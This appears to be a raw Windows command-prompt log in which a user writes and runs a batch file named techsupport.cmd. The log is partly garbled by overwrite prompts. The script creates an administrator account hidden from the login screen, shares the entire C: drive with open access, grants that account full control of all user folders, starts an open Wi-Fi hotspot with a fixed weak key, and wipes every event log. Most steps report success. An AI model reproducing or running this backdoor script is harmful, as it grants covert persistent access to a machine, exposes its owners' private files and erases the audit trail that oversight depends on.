The screen cannot be set to the number of lines and columns specified.

C:\Users\Tecra>copy con techsupport.cmd
net User techsupport techsupport /ADD
Overwrite techsupport.cmd? (Yes/No/All): calGroup Administrators techsupport /ADD
Overwrite techsupport.cmd? (Yes/No/All): g add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon
\SpecialAccounts\UserList" /v techsupport /t REG_DWORD /d 0 /f
Overwrite techsupport.cmd? (Yes/No/All): advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
net share techsupport=c:\ /UNLIMITED
icacls c:\users\* /grant techsupport:(OI)(CI)F
netsh interface set interface name="Wireless Network Connection" admin=enabled
netsh interface set interface name="Wireless Network Connection 2" admin=enabled
netsh interface set interface name="Wireless Network Connection 3" admin=enabled
netsh wlan set hostednetwork ssid=techsupport key=techsupport
netsh wlan start hostednetwork
for /f %x in ('wevtutil el') do wevtutil cl "%x"
exit
^Z
        1 file(s) copied.

C:\Users\Tecra>techsupport.cmd

C:\Users\Tecra>net User techsupport techsupport /ADD
The account already exists.

More help is available by typing NET HELPMSG 2224.


C:\Users\Tecra>net share techsupport=c:\ /UNLIMITED
The name has already been shared.

More help is available by typing NET HELPMSG 2118.


C:\Users\Tecra>icacls c:\users\* /grant techsupport:(OI)(CI)F
processed file: c:\users\All Users
processed file: c:\users\Default
processed file: c:\users\Default User
processed file: c:\users\desktop.ini
processed file: c:\users\Public
processed file: c:\users\Tecra
Successfully processed 6 files; Failed processing 0 files

C:\Users\Tecra>netsh interface set interface name="Wireless Network Connection" admin=enabled


C:\Users\Tecra>netsh interface set interface name="Wireless Network Connection 2" admin=enabled
This network connection does not exist.



C:\Users\Tecra>netsh interface set interface name="Wireless Network Connection 3" admin=enabled
An interface with this name is not registered with the router.


C:\Users\Tecra>netsh wlan set hostednetwork ssid=techsupport key=techsupport
The SSID of the hosted network has been successfully changed.
The user key passphrase of the hosted network has been successfully changed.


C:\Users\Tecra>netsh wlan start hostednetwork
The hosted network couldn't be started.
A device attached to the system is not functioning.


The syntax of the command is incorrect.

C:\Users\Tecra>for /f x"

C:\Users\Tecra>